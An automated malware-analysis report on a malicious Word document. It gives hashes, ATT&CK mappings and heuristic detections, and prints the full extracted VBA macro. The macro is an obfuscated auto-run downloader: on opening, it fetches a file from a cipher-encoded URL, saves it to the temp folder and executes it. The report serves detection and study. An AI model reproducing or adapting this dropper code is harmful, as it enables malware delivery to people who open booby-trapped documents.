Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 350bcbcd42ce93c3…

MALICIOUS

Office (OLE)

165.0 KB Created: 2019-01-29 15:42:00 Authoring application: Microsoft Office Word First seen: 2020-08-10
MD5: 677b29978cb755f5f64226f4937a5178 SHA-1: c77372d846895df612f8f240c64ec309d61b8f64 SHA-256: 350bcbcd42ce93c30b09c724085b2c05d41c4a2c1b646e7a6dfa45c9f942774e
258 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open auto-execution macro that utilizes CreateObject. Critical heuristics indicate that the VBA code downloads a file via HTTP and saves it to disk, which is then likely executed. This behavior, combined with the 'Macro/content-enable lure' heuristic, strongly suggests a downloader attack pattern. No specific family could be identified, but the technique of using macros to download and execute further payloads is common.

Heuristics 9

  • ClamAV: Doc.Downloader.Generic-6922941-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6922941-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    UVBMDRZPSDGBROPOQJGJYMEMOPLXMCTRMWRNTYQQKDQCIPGOIKWQPMVUFQDGEJLSDEJNLZHRBKIDSWWWYRNRH = KIDSWWWYRNRHNMUWXTGOKCTUFSVCHRYSLYKJXOWQRFSXUECNYLHFLTBLFKVTIJYJMQLBFFFHSVZOVUDFGCOVSK.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set KIDSWWWYRNRHNMUWXTGOKCTUFSVCHRYSLYKJXOWQRFSXUECNYLHFLTBLFKVTIJYJMQLBFFFHSVZOVUDFGCOVSK = CreateObject("microsoft.xmlhttp")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    BKIDSWWWYRNRHNMUWXTGOKCTUFSVCHRYSLYKJXOWQRFSXUECNYLHFLTBLFKVTIJYJMQLBFFFHSVZOVUDFGCOVSKCDNBDKIZHT = Environ("tmp") + ICCPTZOXNZIOIHENMXPUXVBKKUVBMDRZPSDGBROPOQJGJYMEMOPLXMCTRMWRNTYQQKDQCIPGOIKWQPMVUFQDGEJLSDEJNL("h`^Yc^Z:q„q")
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# Referenced by macro
    • http://ns.adobe.com/photoshop/1.0/Referenced by macro
    • http://ns.adobe.com/xap/1.0/mm/Referenced by macro
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#Referenced by macro
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#Referenced by macro
    • http://purl.org/dc/elements/1.1/Referenced by macro
    • http://ns.adobe.com/xap/1.0/Referenced by macro
    • http://ns.adobe.com/tiff/1.0/Referenced by macro
    • http://ns.adobe.com/exif/1.0/Referenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5251 bytes
SHA-256: 5256dcd5d671a7ea74c7f3f944bec183dc96141ba62e132f7b417e042d258356
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
    Function ICCPTZOXNZIOIHENMXPUXVBKKUVBMDRZPSDGBROPOQJGJYMEMOPLXMCTRMWRNTYQQKDQCIPGOIKWQPMVUFQDGEJLSDEJNL(ByVal JGJYMEMOPLXMCTRMWRNTYQQKDQCIPGOIKWQPMVUFQDGEJLSDEJNLZHRBKIDSWWWYRNRHNMUWXTGOKCTUFSVCHRYSLYKJX As String)
    Dim OWQRFSXUECNYLHFLTBLFKVTIJYJMQLBFFFHSVZOVUDFGCOVSKCDNBDKIZHTTHLRGPFRZNZGDMEPHMPNT As Integer
    OWQRFSXUECNYLHFLTBLFKVTIJYJMQLBFFFHSVZOVUDFGCOVSKCDNBDKIZHTTHLRGPFRZNZGDMEPHMPNT = 1
            Dim THLRGPFRZNZGDMEPHMPNTCJNNSECQRHKUYSJGHGIBEIQEDLGHDPETSJEOJFLQIICCPTZOXNZIOIHENMXPUXVBKKUVBMDR As String
Dim ZPSDGBROPOQJGJYMEMOPLXMCTRMWRNTYQQKDQCIPGOIKWQPMVUFQDGEJLSDEJNLZHRBKIDSWWWYRNRHNMUW As String
Dim PHMPNTCJNNSECQRHKUYSJGHGIBEIQEDLGHDPETSJEOJFLQIICCPTZOXNZIOIHENMXPUXVBKKUVBMDRZPSDGBROPOQ As Integer
Dim XTGOKCTUFSVCHRYSLYKJXOWQRFSXUECNYLHFLTBLFKVTIJYJMQLBFFFHSVZOVUDFGCOVSKCDNBDKIZHTTHLRGPFRZNZGDME As Integer
XTGOKCTUFSVCHRYSLYKJXOWQRFSXUECNYLHFLTBLFKVTIJYJMQLBFFFHSVZOVUDFGCOVSKCDNBDKIZHTTHLRGPFRZNZGDME = 12
        For PHMPNTCJNNSECQRHKUYSJGHGIBEIQEDLGHDPETSJEOJFLQIICCPTZOXNZIOIHENMXPUXVBKKUVBMDRZPSDGBROPOQ = OWQRFSXUECNYLHFLTBLFKVTIJYJMQLBFFFHSVZOVUDFGCOVSKCDNBDKIZHTTHLRGPFRZNZGDMEPHMPNT To Len(JGJYMEMOPLXMCTRMWRNTYQQKDQCIPGOIKWQPMVUFQDGEJLSDEJNLZHRBKIDSWWWYRNRHNMUWXTGOKCTUFSVCHRYSLYKJX)
            THLRGPFRZNZGDMEPHMPNTCJNNSECQRHKUYSJGHGIBEIQEDLGHDPETSJEOJFLQIICCPTZOXNZIOIHENMXPUXVBKKUVBMDR = Mid(JGJYMEMOPLXMCTRMWRNTYQQKDQCIPGOIKWQPMVUFQDGEJLSDEJNLZHRBKIDSWWWYRNRHNMUWXTGOKCTUFSVCHRYSLYKJX, PHMPNTCJNNSECQRHKUYSJGHGIBEIQEDLGHDPETSJEOJFLQIICCPTZOXNZIOIHENMXPUXVBKKUVBMDRZPSDGBROPOQ, OWQRFSXUECNYLHFLTBLFKVTIJYJMQLBFFFHSVZOVUDFGCOVSKCDNBDKIZHTTHLRGPFRZNZGDMEPHMPNT)
            THLRGPFRZNZGDMEPHMPNTCJNNSECQRHKUYSJGHGIBEIQEDLGHDPETSJEOJFLQIICCPTZOXNZIOIHENMXPUXVBKKUVBMDR = Chr(Asc(THLRGPFRZNZGDMEPHMPNTCJNNSECQRHKUYSJGHGIBEIQEDLGHDPETSJEOJFLQIICCPTZOXNZIOIHENMXPUXVBKKUVBMDR) - XTGOKCTUFSVCHRYSLYKJXOWQRFSXUECNYLHFLTBLFKVTIJYJMQLBFFFHSVZOVUDFGCOVSKCDNBDKIZHTTHLRGPFRZNZGDME)
            ZPSDGBROPOQJGJYMEMOPLXMCTRMWRNTYQQKDQCIPGOIKWQPMVUFQDGEJLSDEJNLZHRBKIDSWWWYRNRHNMUW = ZPSDGBROPOQJGJYMEMOPLXMCTRMWRNTYQQKDQCIPGOIKWQPMVUFQDGEJLSDEJNLZHRBKIDSWWWYRNRHNMUW & THLRGPFRZNZGDMEPHMPNTCJNNSECQRHKUYSJGHGIBEIQEDLGHDPETSJEOJFLQIICCPTZOXNZIOIHENMXPUXVBKKUVBMDR
        Next
        ICCPTZOXNZIOIHENMXPUXVBKKUVBMDRZPSDGBROPOQJGJYMEMOPLXMCTRMWRNTYQQKDQCIPGOIKWQPMVUFQDGEJLSDEJNL = ZPSDGBROPOQJGJYMEMOPLXMCTRMWRNTYQQKDQCIPGOIKWQPMVUFQDGEJLSDEJNLZHRBKIDSWWWYRNRHNMUW
    End Function

Private Sub Document_Open()
Dim KIDSWWWYRNRHNMUWXTGOKCTUFSVCHRYSLYKJXOWQRFSXUECNYLHFLTBLFKVTIJYJMQLBFFFHSVZOVUDFGCOVSK
Set KIDSWWWYRNRHNMUWXTGOKCTUFSVCHRYSLYKJXOWQRFSXUECNYLHFLTBLFKVTIJYJMQLBFFFHSVZOVUDFGCOVSK = CreateObject("microsoft.xmlhttp")
Dim BKIDSWWWYRNRHNMUWXTGOKCTUFSVCHRYSLYKJXOWQRFSXUECNYLHFLTBLFKVTIJYJMQLBFFFHSVZOVUDFGCOVSKCDNBDKIZHT
Dim TYQQKDQCIPGOIKWQPMVUFQDGEJLSDEJNLZHRBKIDSWWWYRNRHNMUWXTGOKCTUFSVCHRYSLYKJXOWQRFSXUECNYLHFLT
Set TYQQKDQCIPGOIKWQPMVUFQDGEJLSDEJNLZHRBKIDSWWWYRNRHNMUWXTGOKCTUFSVCHRYSLYKJXOWQRFSXUECNYLHFLT = CreateObject("Shell.Application")

BKIDSWWWYRNRHNMUWXTGOKCTUFSVCHRYSLYKJXOWQRFSXUECNYLHFLTBLFKVTIJYJMQLBFFFHSVZOVUDFGCOVSKCDNBDKIZHT = Environ("tmp") + ICCPTZOXNZIOIHENMXPUXVBKKUVBMDRZPSDGBROPOQJGJYMEMOPLXMCTRMWRNTYQQKDQCIPGOIKWQPMVUFQDGEJLSDEJNL("h`^Yc^Z:q„q")
KIDSWWWYRNRHNMUWXTGOKCTUFSVCHRYSLYKJXOWQRFSXUECNYLHFLTBLFKVTIJYJMQLBFFFHSVZOVUDFGCOVSK.Open "GET", ICCPTZOXNZIOIHENMXPUXVBKKUVBMDRZPSDGBROPOQJGJYMEMOPLXMCTRMWRNTYQQKDQCIPGOIKWQPMVUFQDGEJLSDEJNL("t€€|F;;npy€~mpuzsx€p:xu‚q;st;{�€|�€R>E=PQR:q„q"), False
KIDSWWWYRNRHNMUWXTGOKCTUFSVCHRYSLYKJXOWQRFSXUECNYLHFLTBLFKVTIJYJMQLBFFFHSVZOVUDFGCOVSK.send
UVBMDRZPSDGBROPOQJGJYMEMOPLXMCTRMWRNTYQQKDQCIPGOIKWQPMVUFQDGEJLSDEJNLZHRBKIDSWWWYRNRH = KIDSWWWYRNRHNMUWXTGOKCTUFSVCHRYSLYKJXOWQRFSXUECNYLHFLTBLFKVTIJYJMQLBFFFHSVZOVUDFGCOVSK.responseBody
If KIDSWWWYRNRHNMUWXTGOKCTUFSVCHRYSLYKJXOWQRFSXUECNYLHFLTBLFKVTIJYJMQLBFFFHSVZOVUDFGCOVSK.Status = 200 Then
Set ZGDMEPHMPNTCJNNSECQRHKUYSJGHGIBEIQEDLGHDPETSJEOJFLQIICCPTZOXNZIOIHENMXPUXVBKKUVBM = CreateObject("adodb.stream")
ZGDMEPHMPNTCJNNSECQRHKUYSJGHGIBEIQEDLGHDPETSJEOJFLQIICCPTZOXNZIOIHENMXPUXVBKKUVBM.Open
ZGDMEPHMPNTCJNNSECQRHKUYSJGHGIBEIQEDLGHDPETSJEOJFLQIICCPTZOXNZIOIHENMXPUXVBKKUVBM.Type = 1
ZGDMEPHMPNTCJNNSECQRHKUYSJGHGIBEIQEDLGHDPETSJEOJFLQIICCPTZOXNZIOIHENMXPUXVBKKUVBM.Write UVBMDRZPSDGBROPOQJGJYMEMOPLXMCTRMWRNTYQQKDQCIPGOIKWQPMVUFQDGEJLSDEJNLZHRBKIDSWWWYRNRH
ZGDMEPHMPNTCJNNSECQRHKUYSJGHGIBEIQEDLGHDPETSJEOJFLQIICCPTZOXNZIOIHENMXPUXVBKKUVBM.SaveToFile BKIDSWWWYRNRHNMUWXTGOKCTUFSVCHRYSLYKJXOWQRFSXUECNYLHFLTBLFKVTIJYJMQLBFFFHSVZOVUDFGCOVSKCDNBDKIZHT, 2
ZGDMEPHMPNTCJNNSECQRHKUYSJGHGIBEIQEDLGHDPETSJEOJFLQIICCPTZOXNZIOIHENMXPUXVBKKUVBM.Close
End If
TYQQKDQCIPGOIKWQPMVUFQDGEJLSDEJNLZHRBKIDSWWWYRNRHNMUWXTGOKCTUFSVCHRYSLYKJXOWQRFSXUECNYLHFLT.Open (BKIDSWWWYRNRHNMUWXTGOKCTUFSVCHRYSLYKJXOWQRFSXUECNYLHFLTBLFKVTIJYJMQLBFFFHSVZOVUDFGCOVSKCDNBDKIZHT)


End Sub

Attribute VB_Name = "NewMacros"
Sub doc()
'
' doc Macro
'
'

End Sub

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